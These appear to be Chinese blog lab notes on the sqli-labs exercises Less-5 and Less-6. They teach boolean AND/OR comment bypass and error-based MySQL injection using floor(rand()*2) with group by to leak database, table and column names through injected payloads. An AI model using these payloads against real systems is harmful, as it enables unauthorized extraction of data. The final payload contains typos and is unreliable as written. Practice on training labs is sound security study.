Sqli-labs 实验笔记之Less-5&Less-6

零、前言

Less-5和Less-6实际上说的是一回事,都是基于错误的Sql注入,但是作者想用Less-5说明如何使用and 和 or替换注释符,那我们也将这两课分开说。

一、Less-5:不用注释符的查询

这节课的Sql语句跟第一节是一样的,但是返回结果只有

You are in………..

然后我们直接进入Mysql命令行界面,演示几个命令就能说明问题了。

Id=1 or 2

Id=1 or id =2

Id=1 and 2

Id=1 and id=2

我们知道使用注释符的目的是屏蔽掉后面的sql语句,使我们插入的注入语句可以正确的执行;同理如果我们使用or 或and 使后面的语句布尔判断为永真那一样能起到“屏蔽”的效果,就像下面两条语句的结果是一样的:

SELECT * FROM users WHERE id='$id' # LIMIT 0,1
SELECT * FROM users WHERE id='$id' and '1'='1' LIMIT 0,1

二、Less-6:基于报错的注入

0x01 常规测试

这节课我们将学习基于报错的注入,那么什么是基于错误的注入呢?首先我们看一下这一节课的界面,跟上节课一样如果输入一个正常的id值,只会显示You are in 。。。。。当注入一个错误的id值id=1"那么就会报错:

id=1

id=1"

通过前面的知识我们大概可以猜测它后台的查询的语句为:

Select * from table where id = “input”

0x02 Sql基本函数

我们来讨论一些sql的基本函数。我们从count函数开始,它会返回行数。

select count(*) from information_schema.tables;

我们来尝试一个随机函数,这个函数能得到一个介于0和1之间的一个随机值

Select rand();

接下来的函数是group by ,它能依据我们想要的规则对结果进行排序

Select table_name,table_schema from information_schema.tables group by table_schema;

我们看到输出结果以table_schema的首字符排序,输出每个数据库里的第一个表。

现在思考,我们怎么从一个Sql错误中爆出数据库信息呢?我们继续测试

Select database();

它显示的是当前的数据库。接下来我们增加一些有趣的显示:

Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a)

我们可以给Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a)取一个短一点的名字

Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a)name;

现在我们加入一些随机性,rand()获取随机数,floor()取整

Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()))name;

我们通过这条语句可以看到当前数据库有多少字段数,注意我们使用的concat()而不是group_concat()

Select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()))name 
from information_schema.columns;

同样表名也是可以的

Select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()))name 
from information_schema.tables;

接下来我们多加一个聚合函数count()

Select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;

多执行几次,直至出错(键值重复)

我们看到,在错误信息中出现了当前数据库名,这正是我们想要的结果,这里的database()可以换成任何你想查询的函数,甚至写一些复杂的语句。

Select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where 
table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables;

执行多次,直至出错,出现第一个表名

修改limit 2,1,出现第二个表名

0x03 注入测试

接下来我们将上面的成果用到前台注入测试一下,我们已经对后台的Sql语句进行了简单的测试

Select * from table where id=”input”

那么我们的注入语句可以这样写入

Select * from table where id=”input” and 攻击代码 --+”

现在我们来测试一下

" and 1  –+

将1替换成我们在Mysql中联系的语句

" and (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,
floor(rand()*2))name from information_schema.tables group by name)  --+

" and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,
floor(rand()*2))name from information_schema.tables group by name)) --+

" AND (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,
floor(rand()*2))name from information_schema.tables group by name)b) --+

多刷新几次,直至出错

可以看到,跟我们之前联系的出错是一样的,这样我们就在前台得到了数据库里的敏感信息,爆出当前数据库的表名

" AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from 
information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))name 
from information_schema.tables group by name)b) --+

进一步得到用户表的信息

" AND (select 1 from (select count(*),concat(0x3a,0x3a(select column_name from 
information_schema.colunswhere table_name='users' limit 1,1),0x3a,0x3a,floor(rand()*2))name 
from information_schema.tables group by name)b) --+

进一步如何获取数据表中的内容读者自己尝试一下吧~~

发表评论

电子邮件地址不会被公开。 必填项已用*标注